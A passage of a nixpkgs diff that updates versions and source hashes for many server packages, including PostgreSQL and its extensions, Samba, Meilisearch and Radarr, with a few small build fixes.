a/pkgs/servers/radarr/default.nix b/pkgs/servers/radarr/default.nix index ed916f656421c..ea840413f5efa 100644 --- a/pkgs/servers/radarr/default.nix +++ b/pkgs/servers/radarr/default.nix @@ -10,15 +10,15 @@ let }."${stdenv.hostPlatform.system}" or (throw "Unsupported system: ${stdenv.hostPlatform.system}"); hash = { - x64-linux_hash = "sha256-RXvpKTIXDOcPUyRa07+8N4xkav23t8aWAshhPEK5pCI="; - arm64-linux_hash = "sha256-zAwlyW6uU+3/XQk2HxA/ClvF/EozxMnlH/6C2cx99bU="; - x64-osx_hash = "sha256-j7cvUyDMxf+9ry9pMSO+xfjBgoqeOhda3pnzHA2RDw4="; - arm64-osx_hash = "sha256-v8SuAWlyBT7bIFRkQDJ5E2y7uxckfdW5cCG/nJ+27cg="; + x64-linux_hash = "sha256-oZI2nvxvxOiv9F9c2AaP9hEBVd3kV4tjuEmvaR5V0Lc="; + arm64-linux_hash = "sha256-Pquc/b/VXJEi4N8uOfvg4X1083JaOdCXg2IPAGZAMV0="; + x64-osx_hash = "sha256-HHmx8bI4d+xmL63v/qmUIJDt+laoSs5Iqp+I7OzoU/k="; + arm64-osx_hash = "sha256-Us/ZEDlZ96/ybs8lxnl4bSFICwc9xJtXScA+hGEwfWk="; }."${arch}-${os}_hash"; in stdenv.mkDerivation rec { pname = "radarr"; - version = "5.2.6.8376"; + version = "5.3.6.8612"; src = fetchurl { url = "https://github.com/Radarr/Radarr/releases/download/v${version}/Radarr.master.${version}.${os}-core-${arch}.tar.gz"; diff --git a/pkgs/servers/readarr/default.nix b/pkgs/servers/readarr/default.nix index 67f24ed9204b8..2c80eb30e458c 100644 --- a/pkgs/servers/readarr/default.nix +++ b/pkgs/servers/readarr/default.nix @@ -8,13 +8,13 @@ let x86_64-darwin = "x64"; }."${stdenv.hostPlatform.system}" or (throw "Unsupported system: ${stdenv.hostPlatform.system}"); hash = { - x64-linux_hash = "sha256-Li8q1JY9e7NkNUMly+hCLAHPibqIdVO9Eijcsc0YKEc="; - arm64-linux_hash = "sha256-kPZ5seqYzHjINzFzUbZm7L5Uh5saa+WDSwNpmcYnYX0="; - x64-osx_hash = "sha256-R2WZAAJs/XG8C0DTvSEZ2c9ao78FTS9B7lieOKkUWRs="; + x64-linux_hash = "sha256-uNZQizvOPygP+LVyBAGshBcfjC4rrX9mGtaqv8pBWKA="; + arm64-linux_hash = "sha256-6wXqUZ1D3E3LB+FlJDhQ0XVawHYQ2QtiAYOeJKZv/ek="; + x64-osx_hash = "sha256-JowEooaANOaMTlQCGuXwSp87EdULjbGmY+1RBfddcng="; }."${arch}-${os}_hash"; in stdenv.mkDerivation rec { pname = "readarr"; - version = "0.3.17.2409"; + version = "0.3.19.2437"; src = fetchurl { url = "https://github.com/Readarr/Readarr/releases/download/v${version}/Readarr.develop.${version}.${os}-core-${arch}.tar.gz"; diff --git a/pkgs/servers/redpanda/default.nix b/pkgs/servers/redpanda/default.nix index 5459436dac8a4..5d10e3668dc7f 100644 --- a/pkgs/servers/redpanda/default.nix +++ b/pkgs/servers/redpanda/default.nix @@ -7,12 +7,12 @@ , stdenv }: let - version = "23.3.5"; + version = "23.3.6"; src = fetchFromGitHub { owner = "redpanda-data"; repo = "redpanda"; rev = "v${version}"; - sha256 = "sha256-rERKoaSZ/lscMW9IcHU00+l4BzvFCz3RMDCQyiEam0E="; + sha256 = "sha256-8VkMVbiwQDsYGour9fn0qYXXS/kWnhtARNaGmXVyaIY="; }; server = callPackage ./server.nix { inherit src version; }; in diff --git a/pkgs/servers/rippled/default.nix b/pkgs/servers/rippled/default.nix index e1ad55a41d38d..83ceee00f45f7 100644 --- a/pkgs/servers/rippled/default.nix +++ b/pkgs/servers/rippled/default.nix @@ -1,4 +1,4 @@ -{ lib, stdenv, fetchgit, fetchurl, git, cmake, pkg-config +{ lib, stdenv, fetchgit, fetchurl, fetchpatch, git, cmake, pkg-config , openssl, boost, grpc, protobuf, libnsl, rocksdb_6_23, snappy }: let @@ -100,6 +100,17 @@ in stdenv.mkDerivation rec { hash = "sha256-VW/VmnhtF2xyHfEud3D6b3n8uTE0a/nDW1GISs5QfwM="; }; + patches = [ + # Fix gcc-13 build due to missing <cstdint> includes: + # https://github.com/XRPLF/rippled/pull/4555 + (fetchpatch { + name = "gcc-13.patch"; + url = "https://github.com/XRPLF/rippled/commit/c9a586c2437bc8ffd22e946c82e1cbe906e1fc40.patch"; + hash = "sha256-+4BDTMFoQWUHljgwGB1gtczVPQH/U5MA0ojbnBykceg="; + excludes = [ "src/ripple/basics/StringUtilities.h" ]; + }) + ]; + hardeningDisable = ["format"]; cmakeFlags = ["-Dstatic=OFF" "-DBoost_NO_BOOST_CMAKE=ON" "-DSNAPPY_INCLUDE_DIR=${snappy}/include" ]; diff --git a/pkgs/servers/routinator/default.nix b/pkgs/servers/routinator/default.nix index 1fdf6d8fdba23..071d665de0fac 100644 --- a/pkgs/servers/routinator/default.nix +++ b/pkgs/servers/routinator/default.nix @@ -3,22 +3,23 @@ , fetchFromGitHub , stdenv , Security +, SystemConfiguration }: rustPlatform.buildRustPackage rec { pname = "routinator"; - version = "0.13.1"; + version = "0.13.2"; src = fetchFromGitHub { owner = "NLnetLabs"; repo = pname; rev = "v${version}"; - hash = "sha256-ia9N2jZlFW0Gu5YDfwh023zorMyWWL/KggeBRvCD1W4="; + hash = "sha256-DCejOfL+c04MABweyuvDLImlYKj/SONxBfXD/4OVzH0="; }; - cargoHash = "sha256-RHT6+zrY4SjoC/hgoMRal+cG8Ruip/6v7oVtKvR8doU="; + cargoHash = "sha256-X+pAvudfbxng6kMv0NO00v6mMBXUMaXvZb/L1OgWd38="; - buildInputs = lib.optionals stdenv.isDarwin [ Security ]; + buildInputs = lib.optionals stdenv.isDarwin [ Security SystemConfiguration ]; buildNoDefaultFeatures = true; buildFeatures = [ "socks" ]; diff --git a/pkgs/servers/samba/4.x.nix b/pkgs/servers/samba/4.x.nix index fda0649de2204..b97313d9b354a 100644 --- a/pkgs/servers/samba/4.x.nix +++ b/pkgs/servers/samba/4.x.nix @@ -61,11 +61,11 @@ let in stdenv.mkDerivation rec { pname = "samba"; - version = "4.19.4"; + version = "4.19.5"; src = fetchurl { url = "mirror://samba/pub/samba/stable/${pname}-${version}.tar.gz"; - hash = "sha256-QCbZO4ZtsZjIyhaFsPXVJ5P2XG5jyzZBY69mH9/wlow="; + hash = "sha256-DiQFtM7CnQRZYh9DQKGnSvdx7Hz/7f9DJQytfx+HYF4="; }; outputs = [ "out" "dev" "man" ]; @@ -165,8 +165,14 @@ stdenv.mkDerivation rec { ++ optional (!enablePam) "--without-pam" ++ optionals (stdenv.hostPlatform != stdenv.buildPlatform) [ "--bundled-libraries=!asn1_compile,!compile_et" - ] ++ optionals stdenv.isAarch32 [ - # https://bugs.gentoo.org/683148 + ] ++ optionals stdenv.buildPlatform.is32bit [ + # By default `waf configure` spawns as many as available CPUs. On + # 32-bit systems with many CPUs (like `i686` chroot on `x86_64` + # kernel) it can easily exhaust 32-bit address space and hang up: + # https://github.com/NixOS/nixpkgs/issues/287339#issuecomment-1949462057 + # https://bugs.gentoo.org/683148 + # Limit the job count down to the minimal on system with limited address + # space. "--jobs 1" ]; diff --git a/pkgs/servers/search/meilisearch/Cargo.lock b/pkgs/servers/search/meilisearch/Cargo.lock index acbeed1c710f4..37c8e8ec207ca 100644 --- a/pkgs/servers/search/meilisearch/Cargo.lock +++ b/pkgs/servers/search/meilisearch/Cargo.lock @@ -491,7 +491,7 @@ checksum = "8c3c1a368f70d6cf7302d78f8f7093da241fb8e8807c05cc9e51a125895a6d5b" [[package]] name = "benchmarks" -version = "1.6.1" +version = "1.6.2" dependencies = [ "anyhow", "bytes", @@ -1402,7 +1402,7 @@ dependencies = [ [[package]] name = "dump" -version = "1.6.1" +version = "1.6.2" dependencies = [ "anyhow", "big_s", @@ -1634,7 +1634,7 @@ dependencies = [ [[package]] name = "file-store" -version = "1.6.1" +version = "1.6.2" dependencies = [ "faux", "tempfile", @@ -1656,7 +1656,7 @@ dependencies = [ [[package]] name = "filter-parser" -version = "1.6.1" +version = "1.6.2" dependencies = [ "insta", "nom", @@ -1687,7 +1687,7 @@ dependencies = [ [[package]] name = "flatten-serde-json" -version = "1.6.1" +version = "1.6.2" dependencies = [ "criterion", "serde_json", @@ -1805,7 +1805,7 @@ dependencies = [ [[package]] name = "fuzzers" -version = "1.6.1" +version = "1.6.2" dependencies = [ "arbitrary", "clap", @@ -2763,7 +2763,7 @@ dependencies = [ [[package]] name = "index-scheduler" -version = "1.6.1" +version = "1.6.2" dependencies = [ "anyhow", "big_s", @@ -2960,7 +2960,7 @@ dependencies = [ [[package]] name = "json-depth-checker" -version = "1.6.1" +version = "1.6.2" dependencies = [ "criterion", "serde_json", @@ -3472,7 +3472,7 @@ checksum = "490cc448043f947bae3cbee9c203358d62dbee0db12107a74be5c30ccfd09771" [[package]] name = "meili-snap" -version = "1.6.1" +version = "1.6.2" dependencies = [ "insta", "md5", @@ -3481,7 +3481,7 @@ dependencies = [ [[package]] name = "meilisearch" -version = "1.6.1" +version = "1.6.2" dependencies = [ "actix-cors", "actix-http", @@ -3572,7 +3572,7 @@ dependencies = [ [[package]] name = "meilisearch-auth" -version = "1.6.1" +version = "1.6.2" dependencies = [ "base64 0.21.5", "enum-iterator", @@ -3591,7 +3591,7 @@ dependencies = [ [[package]] name = "meilisearch-types" -version = "1.6.1" +version = "1.6.2" dependencies = [ "actix-web", "anyhow", @@ -3621,7 +3621,7 @@ dependencies = [ [[package]] name = "meilitool" -version = "1.6.1" +version = "1.6.2" dependencies = [ "anyhow", "clap", @@ -3669,7 +3669,7 @@ dependencies = [ [[package]] name = "milli" -version = "1.6.1" +version = "1.6.2" dependencies = [ "arroy", "big_s", @@ -4076,7 +4076,7 @@ checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" [[package]] name = "permissive-json-pointer" -version = "1.6.1" +version = "1.6.2" dependencies = [ "big_s", "serde_json", diff --git a/pkgs/servers/search/meilisearch/default.nix b/pkgs/servers/search/meilisearch/default.nix index 45059659b97df..1a0f387d15ef7 100644 --- a/pkgs/servers/search/meilisearch/default.nix +++ b/pkgs/servers/search/meilisearch/default.nix @@ -8,7 +8,7 @@ , nix-update-script }: -let version = "1.6.1"; +let version = "1.6.2"; in rustPlatform.buildRustPackage { pname = "meilisearch"; @@ -18,7 +18,7 @@ rustPlatform.buildRustPackage { owner = "meilisearch"; repo = "MeiliSearch"; rev = "refs/tags/v${version}"; - hash = "sha256-bA0UWRX16HTB/XCuzRa1C71DxfMJx1fZ/xVZFkxq1SM="; + hash = "sha256-D8KAleYaeMv3rCwhGE0IteuDUVk4RiOxsTBe7LhLAKg="; }; cargoBuildFlags = [ diff --git a/pkgs/servers/search/opensearch/default.nix b/pkgs/servers/search/opensearch/default.nix index 8e71e14671b54..94207ec5665fa 100644 --- a/pkgs/servers/search/opensearch/default.nix +++ b/pkgs/servers/search/opensearch/default.nix @@ -11,11 +11,11 @@ stdenvNoCC.mkDerivation (finalAttrs: { pname = "opensearch"; - version = "2.11.1"; + version = "2.12.0"; src = fetchurl { url = "https://artifacts.opensearch.org/releases/bundle/opensearch/${finalAttrs.version}/opensearch-${finalAttrs.version}-linux-x64.tar.gz"; - hash = "sha256-km6z+Z9ZLnUY1dweJQrhHRu0XvdmqQIiqN8Ruy7jWpw="; + hash = "sha256-t9s633qDzxvG1x+VVATpczzvD+ojnfTiwB/EambMKtA="; }; nativeBuildInputs = [ diff --git a/pkgs/servers/search/weaviate/default.nix b/pkgs/servers/search/weaviate/default.nix index b99f5aa2d4235..fb3fbbbf30bdc 100644 --- a/pkgs/servers/search/weaviate/default.nix +++ b/pkgs/servers/search/weaviate/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "weaviate"; - version = "1.23.9"; + version = "1.24.1"; src = fetchFromGitHub { owner = "weaviate"; repo = "weaviate"; rev = "v${version}"; - hash = "sha256-cl8jTMrX/N/MNxmFtF818veZEFuBQ1APXzqs8WC/Bt4="; + hash = "sha256-9FA0GxLgzw3D329JdQ044QC/D9ncxsadmCHlppnf9fI="; }; - vendorHash = "sha256-UEdGoXKq7ewNszahgcomjjuO2uzRZpiwkvvnXyFc9Og="; + vendorHash = "sha256-G5ya2O5IY7+DE4UeXuH5lTT0jbjIc9W09ePLsJsjQ78="; subPackages = [ "cmd/weaviate-server" ]; diff --git a/pkgs/servers/sickbeard/sickgear.nix b/pkgs/servers/sickbeard/sickgear.nix index 1081b4b1b0d2d..d8f37b79b4d9a 100644 --- a/pkgs/servers/sickbeard/sickgear.nix +++ b/pkgs/servers/sickbeard/sickgear.nix @@ -4,13 +4,13 @@ let pythonEnv = python3.withPackages(ps: with ps; [ cheetah3 lxml ]); in stdenv.mkDerivation rec { pname = "sickgear"; - version = "3.30.9"; + version = "3.30.13"; src = fetchFromGitHub { owner = "SickGear"; repo = "SickGear"; rev = "release_${version}"; - hash = "sha256-Ik+A7CqSRsXPzqbgmwpam7v2hyj6BweyWJnF5ix/JNg="; + hash = "sha256-Ka2WYU2hU9aemEiTNwFZLraerfisfL8vK2ujx0wDcPo="; }; patches = [ diff --git a/pkgs/servers/simple-http-server/default.nix b/pkgs/servers/simple-http-server/default.nix index 4015927424261..ff83e3f62d08b 100644 --- a/pkgs/servers/simple-http-server/default.nix +++ b/pkgs/servers/simple-http-server/default.nix @@ -9,16 +9,16 @@ rustPlatform.buildRustPackage rec { pname = "simple-http-server"; - version = "0.6.8"; + version = "0.6.9"; src = fetchFromGitHub { owner = "TheWaWaR"; repo = pname; rev = "v${version}"; - sha256 = "sha256-QVNHomav8k1HflrOoQ7Ub5ZSCExpikbe0iAaVlAJEEs="; + sha256 = "sha256-JY3j/SCBm485w4x3EDTjDQw/N+t+3FvQyY9b7SQKhak="; }; - cargoHash = "sha256-uDdzv0uPITE4DySoHPMFkJ0/wrPNZOao43Z7tOhRboI="; + cargoHash = "sha256-6Gg4CDqlMtiOHJSeMfg9rP0CgP57GGfnuoqAXFuL8jo="; nativeBuildInputs = [ pkg-config ]; diff --git a/pkgs/servers/snac2/default.nix b/pkgs/servers/snac2/default.nix index 3770a620b7a84..72a06dc0dfc25 100644 --- a/pkgs/servers/snac2/default.nix +++ b/pkgs/servers/snac2/default.nix @@ -10,14 +10,14 @@ stdenv.mkDerivation rec { pname = "snac2"; - version = "2.47"; + version = "2.49"; src = fetchFromGitea { domain = "codeberg.org"; owner = "grunfink"; repo = pname; rev = version; - hash = "sha256-zK8Ypdp8kP4E3p04BAkTjcMiKtCQTtdDWArK/f1QhJw="; + hash = "sha256-8hIwm/CCghzbLtHhCqnnc3HELJ8KYwFlICqBTKaUb6U="; }; buildInputs = [ curl openssl ]; diff --git a/pkgs/servers/snappymail/default.nix b/pkgs/servers/snappymail/default.nix index e8120224990e3..4e65ed11c0e22 100644 --- a/pkgs/servers/snappymail/default.nix +++ b/pkgs/servers/snappymail/default.nix @@ -7,11 +7,11 @@ stdenv.mkDerivation rec { pname = "snappymail"; - version = "2.33.0"; + version = "2.35.2"; src = fetchurl { url = "https://github.com/the-djmaze/snappymail/releases/download/v${version}/snappymail-${version}.tar.gz"; - sha256 = "sha256-71JgCkser7pGMVeSbiw97R2AoxQI76A6nPC7cTa2eow="; + sha256 = "sha256-aEM1In7BmtiPy0xOgUV6sIvMnX6fac4mSErr7dB2gRU="; }; sourceRoot = "snappymail"; diff --git a/pkgs/servers/spicedb/default.nix b/pkgs/servers/spicedb/default.nix index 7d8b69f5e1970..ca90f78acf4ed 100644 --- a/pkgs/servers/spicedb/default.nix +++ b/pkgs/servers/spicedb/default.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "spicedb"; - version = "1.29.1"; + version = "1.29.5"; src = fetchFromGitHub { owner = "authzed"; repo = "spicedb"; rev = "v${version}"; - hash = "sha256-fUTJpdFFNf/r+NQYBU4y8sGdtEShF9Yi89aB0rU7Xd8="; + hash = "sha256-93+o2pLilHAad794Bae83spLsC+pdvOgS6WRNSWrei4="; }; - vendorHash = "sha256-wPQ6RjDldO2m4myKcLtGoe5LurX6FI7yLoWLZUkex4o="; + vendorHash = "sha256-MfpXYvgUjfNZkAA19FWM0X8A9mbDhcYCM5L9PLL4En0="; subPackages = [ "cmd/spicedb" ]; diff --git a/pkgs/servers/sql/dolt/default.nix b/pkgs/servers/sql/dolt/default.nix index 1f5205b276079..fc725e6b084cc 100644 --- a/pkgs/servers/sql/dolt/default.nix +++ b/pkgs/servers/sql/dolt/default.nix @@ -2,18 +2,18 @@ buildGoModule rec { pname = "dolt"; - version = "1.32.6"; + version = "1.35.0"; src = fetchFromGitHub { owner = "dolthub"; repo = "dolt"; rev = "v${version}"; - sha256 = "sha256-ftotZwRxcBErKzh1dZYqScTW12/tCOOHFJuruB5FOMU="; + sha256 = "sha256-h1ypyhslsqGrYFXzAdhoviXQwy8ub31+CNQaXMjKSB0="; }; modRoot = "./go"; subPackages = [ "cmd/dolt" ]; - vendorHash = "sha256-RpwIPWzzAxXvDCf2CGnKo4NtsIe7QS4gVP1zeFgq+BQ="; + vendorHash = "sha256-kC/+zCuIVUZ7Fpq2WfjYa3tG0vYGkUibK926yh3DCp4="; proxyVendor = true; doCheck = false; diff --git a/pkgs/servers/sql/mssql/jdbc/default.nix b/pkgs/servers/sql/mssql/jdbc/default.nix index a4a6e869f9a3c..c40de0cb219da 100644 --- a/pkgs/servers/sql/mssql/jdbc/default.nix +++ b/pkgs/servers/sql/mssql/jdbc/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "mssql-jdbc"; - version = "12.4.2"; + version = "12.6.1"; src = fetchurl { url = "https://github.com/Microsoft/mssql-jdbc/releases/download/v${version}/mssql-jdbc-${version}.jre8.jar"; - sha256 = "sha256-JGt6SXg4Ok+czMwGpDk9xdVw/WSkNLeBxqghcM3WmRE="; + sha256 = "sha256-OtherTxRxxE57u20nl1sD7mpV6tcHD9qL/C1AJOm0Qw="; }; dontUnpack = true; diff --git a/pkgs/servers/sql/percona-server/8.0.x.nix b/pkgs/servers/sql/percona-server/8.0.x.nix index a868c9cff22a9..a2f4dd1c04e06 100644 --- a/pkgs/servers/sql/percona-server/8.0.x.nix +++ b/pkgs/servers/sql/percona-server/8.0.x.nix @@ -7,11 +7,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "percona-server"; - version = "8.0.35-27"; + version = "8.0.36-28"; src = fetchurl { url = "https://www.percona.com/downloads/Percona-Server-8.0/Percona-Server-${finalAttrs.version}/source/tarball/percona-server-${finalAttrs.version}.tar.gz"; - sha256 = "sha256-YxrZBj8SNe55OjW2AucSR2Yot7DMcTXdVIVtu1i0HUU"; + hash = "sha256-iktEvZz3mjjmJ16PX51OjSwwiFS3H9W/XRco//Q6aEQ="; }; nativeBuildInputs = [ bison cmake pkg-config ] diff --git a/pkgs/servers/sql/pgbouncer/default.nix b/pkgs/servers/sql/pgbouncer/default.nix index 71afc98562af0..3e330a2375c18 100644 --- a/pkgs/servers/sql/pgbouncer/default.nix +++ b/pkgs/servers/sql/pgbouncer/default.nix @@ -1,17 +1,19 @@ -{ lib, stdenv, fetchurl, openssl, libevent, c-ares, pkg-config, nixosTests }: +{ lib, stdenv, fetchurl, openssl, libevent, c-ares, pkg-config, systemd, nixosTests }: stdenv.mkDerivation rec { pname = "pgbouncer"; - version = "1.22.0"; + version = "1.22.1"; src = fetchurl { url = "https://www.pgbouncer.org/downloads/files/${version}/${pname}-${version}.tar.gz"; - hash = "sha256-xu43qNfdvrv4RC2PCOwHw9pGr7Kq45ZziMFIFpineFg="; + hash = "sha256-KwGKps5/WSyYkrueD9kCYkhOtzk3/Sr5KXcKRTc7ohU="; }; nativeBuildInputs = [ pkg-config ]; - buildInputs = [ libevent openssl c-ares ]; + buildInputs = [ libevent openssl c-ares ] + ++ lib.optional stdenv.isLinux systemd; enableParallelBuilding = true; + configureFlags = lib.optional stdenv.isLinux "--with-systemd"; passthru.tests = { pgbouncer = nixosTests.pgbouncer; diff --git a/pkgs/servers/sql/pgpool/default.nix b/pkgs/servers/sql/pgpool/default.nix index 3b2bd59d8c12d..3c8be4b09f31e 100644 --- a/pkgs/servers/sql/pgpool/default.nix +++ b/pkgs/servers/sql/pgpool/default.nix @@ -10,12 +10,12 @@ stdenv.mkDerivation rec { pname = "pgpool-II"; - version = "4.5.0"; + version = "4.5.1"; src = fetchurl { url = "https://www.pgpool.net/mediawiki/download.php?f=pgpool-II-${version}.tar.gz"; name = "pgpool-II-${version}.tar.gz"; - hash = "sha256-WYSuzfJSCHKQA1as7QyapullN8LoIpfGWT7ZAZEYRRo="; + hash = "sha256-jhSwVYoV2uh2fI4azuPy9sfAjr//2majWTZ+qqVsOTY="; }; buildInputs = [ diff --git a/pkgs/servers/sql/postgresql/default.nix b/pkgs/servers/sql/postgresql/default.nix index 11fae33a6edd9..700f0ad99bd1b 100644 --- a/pkgs/servers/sql/postgresql/default.nix +++ b/pkgs/servers/sql/postgresql/default.nix @@ -115,17 +115,6 @@ let ./patches/specify_pkglibdir_at_runtime.patch ./patches/findstring.patch - # Fix build with libxml2 2.12.0 and -Wincompatible-function-pointer-types - (if atLeast "16" then - # https://www.postgresql.org/message-id/CACpMh%2BDMZVHM%2BiDSyqdcpK8sr7jd_HxxLJRNvGTzcLBE0W07QA%40mail.gmail.com - fetchurl { - url = "https://www.postgresql.org/message-id/attachment/152769/v1-0001-Make-PostgreSQL-work-with-newer-version-of-libxml.patch"; - hash = "sha256-1j5mtG++hFmYwfS98PdN1SmNI4T86q4FXvKLz2VeJyg="; - } - else - ./patches/libxml2.12-15.patch - ) - (substituteAll { src = ./locale-binary-path.patch; locale = "${if stdenv.isDarwin then darwin.adv_cmds else lib.getBin stdenv.cc.libc}/bin/locale"; @@ -366,45 +355,45 @@ let mkPackages = self: { postgresql_12 = self.callPackage generic { - version = "12.17"; + version = "12.18"; psqlSchema = "12"; - hash = "sha256-k+jhsjmB1fA8bFdj93soGEwc5NtxlPpGbi7bZdnBxfY="; + hash = "sha256-T5kZcl2UHOmGjgf+HtHTqGdIWZtIM4ZUdYOSi3TDkYo="; this = self.postgresql_12; thisAttr = "postgresql_12"; inherit self; }; postgresql_13 = self.callPackage generic { - version = "13.13"; + version = "13.14"; psqlSchema = "13"; - hash = "sha256-ivacJZkEeirSRlZ9aOxBMa7xFpVNjD5GnpeJCAs3pHQ="; + hash = "sha256-uN8HhVGJiWC9UA3F04oXfpkFN234H+fytmChQH+mpe0="; this = self.postgresql_13; thisAttr = "postgresql_13"; inherit self; }; postgresql_14 = self.callPackage generic { - version = "14.10"; + version = "14.11"; psqlSchema = "14"; - hash = "sha256-yZQxxI6dRwsNCrlG6yFBo80ZEwwvtNxLMoSnd07Mg5k="; + hash = "sha256-pnC9fc4i3K1Cl7JhE2s7HUoJpvVBcZViqhTKY78paKg="; this = self.postgresql_14; thisAttr = "postgresql_14"; inherit self; }; postgresql_15 = self.callPackage generic { - version = "15.5"; + version = "15.6"; psqlSchema = "15"; - hash = "sha256-j1OqldeOuOglNupGtoGHeTtCu6O09lqjQvVAsjybEKY="; + hash = "sha256-hFUUbtnGnJOlfelUrq0DAsr60DXCskIXXWqh4X68svs="; this = self.postgresql_15; thisAttr = "postgresql_15"; inherit self; }; postgresql_16 = self.callPackage generic { - version = "16.1"; + version = "16.2"; psqlSchema = "16"; - hash = "sha256-zjxNhdGbASH+DT+O8fpgH3GYnob4pm99w61UbdVWT+w="; + hash = "sha256-RG6IKU28LJCFq0twYaZG+mBLS+wDUh1epnHC5a2bKVI="; this = self.postgresql_16; thisAttr = "postgresql_16"; inherit self; diff --git a/pkgs/servers/sql/postgresql/ext/citus.nix b/pkgs/servers/sql/postgresql/ext/citus.nix index 3b6d58030c15a..b5e8cfbeebcce 100644 --- a/pkgs/servers/sql/postgresql/ext/citus.nix +++ b/pkgs/servers/sql/postgresql/ext/citus.nix @@ -8,13 +8,13 @@ stdenv.mkDerivation rec { pname = "citus"; - version = "12.1.1"; + version = "12.1.2"; src = fetchFromGitHub { owner = "citusdata"; repo = "citus"; rev = "v${version}"; - hash = "sha256-g2/PJ4H5N7XA0yWiT6GbgCRh8mBDAfNhW9hx8r3X1Cs="; + hash = "sha256-0uYNMLAYigtGlDRvOEkQeC5i58QfXcdSVjTQwWVFX+8="; }; buildInputs = [ diff --git a/pkgs/servers/sql/postgresql/ext/lantern.nix b/pkgs/servers/sql/postgresql/ext/lantern.nix index b1b21174c8a84..b08311dfd1a58 100644 --- a/pkgs/servers/sql/postgresql/ext/lantern.nix +++ b/pkgs/servers/sql/postgresql/ext/lantern.nix @@ -8,13 +8,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "lantern"; - version = "0.0.12"; + version = "0.2.0"; src = fetchFromGitHub { owner = "lanterndata"; repo = "lantern"; rev = "v${finalAttrs.version}"; - hash = "sha256-PJLpRX5IuHBz7xywgD/lXfr6c6Kn1XmQ6MCGSuKPmlE="; + hash = "sha256-B8Dpt/VmD/QzNzfRSlhijnVEd/EuTOP+MI/qERcIbOU="; fetchSubmodules = true; }; diff --git a/pkgs/servers/sql/postgresql/ext/pg_ivm.nix b/pkgs/servers/sql/postgresql/ext/pg_ivm.nix index 2b2cf185955b6..46c01251d503e 100644 --- a/pkgs/servers/sql/postgresql/ext/pg_ivm.nix +++ b/pkgs/servers/sql/postgresql/ext/pg_ivm.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "pg_ivm"; - version = "1.7"; + version = "1.8"; src = fetchFromGitHub { owner = "sraoss"; repo = pname; rev = "v${version}"; - hash = "sha256-uSYhNUfd4mw7mGGAcP43X/0v/bNp6SdZjPzktGONgaQ="; + hash = "sha256-HncWX3jx9sEvxGGMMZ9QT4tDQ4JYbkNrFw2aZHgCVE8="; }; buildInputs = [ postgresql ]; diff --git a/pkgs/servers/sql/postgresql/ext/pg_net.nix b/pkgs/servers/sql/postgresql/ext/pg_net.nix index 3cfcafad74e7a..8ef3182ebeb6f 100644 --- a/pkgs/servers/sql/postgresql/ext/pg_net.nix +++ b/pkgs/servers/sql/postgresql/ext/pg_net.nix @@ -2,7 +2,7 @@ stdenv.mkDerivation rec { pname = "pg_net"; - version = "0.7.3"; + version = "0.8.0"; buildInputs = [ curl postgresql ]; @@ -10,9 +10,11 @@ stdenv.mkDerivation rec { owner = "supabase"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-j5qLgn/i4ljysuwgT46579N+9VpGr483vQEX/3lUYFA="; + hash = "sha256-ZPsRPWV1G3lMM2mT+H139Wvgoy8QnmeUbzEnGeDJmZA="; }; + env.NIX_CFLAGS_COMPILE = "-Wno-error"; + installPhase = '' mkdir -p $out/{lib,share/postgresql/extension} diff --git a/pkgs/servers/sql/postgresql/ext/pgroonga.nix b/pkgs/servers/sql/postgresql/ext/pgroonga.nix index ee582067dd85a..28303612fef36 100644 --- a/pkgs/servers/sql/postgresql/ext/pgroonga.nix +++ b/pkgs/servers/sql/postgresql/ext/pgroonga.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "pgroonga"; - version = "3.1.6"; + version = "3.1.8"; src = fetchurl { url = "https://packages.groonga.org/source/${pname}/${pname}-${version}.tar.gz"; - hash = "sha256-XfHpKstgdBQ6Oo0cDpOphUJNTu9KgfBuxAa8RadvjyA="; + hash = "sha256-Wjh0NJK6IfcI30R7HKCsB87/lxXZYEqiMD9t2nldCW4="; }; nativeBuildInputs = [ pkg-config ]; diff --git a/pkgs/servers/sql/postgresql/ext/pgvector.nix b/pkgs/servers/sql/postgresql/ext/pgvector.nix index f7754eb2377ec..e30e59d9da938 100644 --- a/pkgs/servers/sql/postgresql/ext/pgvector.nix +++ b/pkgs/servers/sql/postgresql/ext/pgvector.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "pgvector"; - version = "0.6.0"; + version = "0.6.1"; src = fetchFromGitHub { owner = "pgvector"; repo = "pgvector"; rev = "v${version}"; - hash = "sha256-hXm+k0BZ9xZP1Tnek14jPoKCPQkA5ovscu9IX2mW7Kc="; + hash = "sha256-NS9iNgrVnoqmAIXd4sJFnPISQvYYl8YQ84bnLjpChx4="; }; buildInputs = [ postgresql ]; diff --git a/pkgs/servers/sql/postgresql/ext/plpgsql_check.nix b/pkgs/servers/sql/postgresql/ext/plpgsql_check.nix index db1199b20d77d..9e8b02c993f2d 100644 --- a/pkgs/servers/sql/postgresql/ext/plpgsql_check.nix +++ b/pkgs/servers/sql/postgresql/ext/plpgsql_check.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "plpgsql-check"; - version = "2.7.2"; + version = "2.7.3"; src = fetchFromGitHub { owner = "okbob"; repo = "plpgsql_check"; rev = "v${version}"; - hash = "sha256-7CHKcUpqEXJ+z0OcxrEpYHaO/zUtRbCXa8LgL+/roSg="; + hash = "sha256-VFM8SplBGlJd2RfUgS0FLH+xkyLOCVY2jaK6mn878CQ="; }; buildInputs = [ postgresql ]; diff --git a/pkgs/servers/sql/postgresql/ext/timescaledb.nix b/pkgs/servers/sql/postgresql/ext/timescaledb.nix index 1eccedf1fda5e..8e1147630a849 100644 --- a/pkgs/servers/sql/postgresql/ext/timescaledb.nix +++ b/pkgs/servers/sql/postgresql/ext/timescaledb.nix @@ -2,7 +2,7 @@ stdenv.mkDerivation rec { pname = "timescaledb${lib.optionalString (!enableUnfree) "-apache"}"; - version = "2.14.0"; + version = "2.14.2"; nativeBuildInputs = [ cmake ]; buildInputs = [ postgresql openssl libkrb5 ]; @@ -11,7 +11,7 @@ stdenv.mkDerivation rec { owner = "timescale"; repo = "timescaledb"; rev = version; - hash = 